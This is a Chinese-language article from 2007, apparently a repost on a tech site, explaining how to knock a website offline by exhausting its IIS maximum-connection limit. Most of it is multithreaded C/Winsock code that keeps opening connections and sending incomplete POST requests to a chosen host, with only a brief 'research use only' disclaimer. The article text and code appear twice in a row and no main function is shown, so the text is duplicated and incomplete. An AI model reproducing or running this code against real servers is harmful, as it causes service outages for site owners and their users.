利用IIS最大連接數(shù)實(shí)現(xiàn)網(wǎng)站DOS(圖)
更新時(shí)間:2007年01月16日 00:00:00 作者:
安全中國(guó)提示:本程序僅做為技術(shù)研究之用,請(qǐng)勿用于非法用途,否則,后果自負(fù)!
最近買(mǎi)了個(gè)空間來(lái)玩,各位勿笑,是入門(mén)級(jí)的虛擬主機(jī)(偶是窮人?。?,各種參數(shù)都相當(dāng)?shù)?,特別是IIS連接數(shù),只有100個(gè)(也就是同時(shí)支持100個(gè)不同的訪問(wèn))。
這里就出現(xiàn)問(wèn)題了。如果我一直對(duì)該網(wǎng)站進(jìn)行連接,雖然我是同一個(gè)人,但是IIS卻傻乎乎的把每次連接當(dāng)成不同的人,每連接一次就會(huì)分配一個(gè)session給我,當(dāng)連接超過(guò)服務(wù)器設(shè)置的IIS最大連接數(shù)目的時(shí)候……呵呵,拒絕服務(wù)就發(fā)生了。
具體的攻擊嘛,我們當(dāng)然是利用程序來(lái)完成。思路簡(jiǎn)單,就是不斷的向網(wǎng)站發(fā)HTTP請(qǐng)求,直到超過(guò)它的最大連接數(shù)。正好機(jī)器上有以前看了shotgun的《HTTP協(xié)議Content Lenth限制漏洞導(dǎo)致拒絕服務(wù)攻擊》寫(xiě)的測(cè)試程序,跟今天的要求很相似,就拿來(lái)改改咯。具體代碼如下:
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //設(shè)置最大線程數(shù)
int ThreadCount=0;
struct mydata
{
char *ip;
int port;
};
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
DWORD WINAPI Dos(LPVOID lpParam )
{
mydata *csdn = (mydata*)lpParam;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(csdn->port);
server.sin_addr.s_addr = resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{
printf("Dont find address %s\n",(char*)csdn->ip);
exit(0);
}
int my;
char buf[100]="POST / HTTP/1.1\r\nHost: ";
strcat(buf,(char*)csdn->ip);
strcat(buf," \r\nContent-Length: 10\r\n\r\n");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
{
printf("Socket ERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
ThreadCount--;
return 0;
}
void thread ( char *a1 , char *a2 , char *a3 )
{
static mydata tmp;
tmp.ip = a1;
tmp.port = atoi(a2);
DWORD dwThreadId;
HANDLE hThread;
WSADATA ws;
if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
{
printf(" [-] WSAStartup() error\n");
exit(0);
}
hThread = CreateThread(
NULL, // no security attributes
0, // use default stack size
Dos, // thread function
&tmp, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier
if (hThread == NULL)
printf( "CreateThread failed." );
ThreadCount++;
Sleep(200); //延時(shí),否則CPU會(huì)用滿……
CloseHandle(hThread);
}
最近買(mǎi)了個(gè)空間來(lái)玩,各位勿笑,是入門(mén)級(jí)的虛擬主機(jī)(偶是窮人?。?,各種參數(shù)都相當(dāng)?shù)?,特別是IIS連接數(shù),只有100個(gè)(也就是同時(shí)支持100個(gè)不同的訪問(wèn))。
這里就出現(xiàn)問(wèn)題了。如果我一直對(duì)該網(wǎng)站進(jìn)行連接,雖然我是同一個(gè)人,但是IIS卻傻乎乎的把每次連接當(dāng)成不同的人,每連接一次就會(huì)分配一個(gè)session給我,當(dāng)連接超過(guò)服務(wù)器設(shè)置的IIS最大連接數(shù)目的時(shí)候……呵呵,拒絕服務(wù)就發(fā)生了。
具體的攻擊嘛,我們當(dāng)然是利用程序來(lái)完成。思路簡(jiǎn)單,就是不斷的向網(wǎng)站發(fā)HTTP請(qǐng)求,直到超過(guò)它的最大連接數(shù)。正好機(jī)器上有以前看了shotgun的《HTTP協(xié)議Content Lenth限制漏洞導(dǎo)致拒絕服務(wù)攻擊》寫(xiě)的測(cè)試程序,跟今天的要求很相似,就拿來(lái)改改咯。具體代碼如下:
#include "winsock.h"
#include "stdio.h"
#include "string.h"
#include "io.h"
#pragma comment(lib,"ws2_32.lib")
#define BUFLEN 1024
#define MAXThreadCount 10 //設(shè)置最大線程數(shù)
int ThreadCount=0;
struct mydata
{
char *ip;
int port;
};
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
}
DWORD WINAPI Dos(LPVOID lpParam )
{
mydata *csdn = (mydata*)lpParam;
struct sockaddr_in server;
server.sin_family = AF_INET;
server.sin_port = htons(csdn->port);
server.sin_addr.s_addr = resolve((char*)csdn->ip);
if(server.sin_addr.s_addr==0)
{
printf("Dont find address %s\n",(char*)csdn->ip);
exit(0);
}
int my;
char buf[100]="POST / HTTP/1.1\r\nHost: ";
strcat(buf,(char*)csdn->ip);
strcat(buf," \r\nContent-Length: 10\r\n\r\n");
my=socket(PF_INET,SOCK_STREAM,0);
if(my==INVALID_SOCKET)
{
printf("ERROR");
exit(0);
}
if(connect(my,(struct sockaddr *) & server,sizeof(server))==SOCKET_ERROR)
{
printf("Socket ERROR:%d",GetLastError());
exit(0);
}
if(send(my,buf,strlen(buf),0)==SOCKET_ERROR){printf("ERROR:send fail!");}
ThreadCount--;
return 0;
}
void thread ( char *a1 , char *a2 , char *a3 )
{
static mydata tmp;
tmp.ip = a1;
tmp.port = atoi(a2);
DWORD dwThreadId;
HANDLE hThread;
WSADATA ws;
if (WSAStartup( MAKEWORD(2,2), &ws )!=0)
{
printf(" [-] WSAStartup() error\n");
exit(0);
}
hThread = CreateThread(
NULL, // no security attributes
0, // use default stack size
Dos, // thread function
&tmp, // argument to thread function
0, // use default creation flags
&dwThreadId); // returns the thread identifier
if (hThread == NULL)
printf( "CreateThread failed." );
ThreadCount++;
Sleep(200); //延時(shí),否則CPU會(huì)用滿……
CloseHandle(hThread);
}
相關(guān)文章
淺析國(guó)內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況
淺析國(guó)內(nèi)某網(wǎng)絡(luò)游戲的安全現(xiàn)況2007-01-01Byshell后門(mén):無(wú)進(jìn)程無(wú)DLL無(wú)硬盤(pán)文件
Byshell后門(mén):無(wú)進(jìn)程無(wú)DLL無(wú)硬盤(pán)文件...2007-01-01關(guān)于mysql 3.0的注射的一點(diǎn)思路
關(guān)于mysql 3.0的注射的一點(diǎn)思路...2007-01-01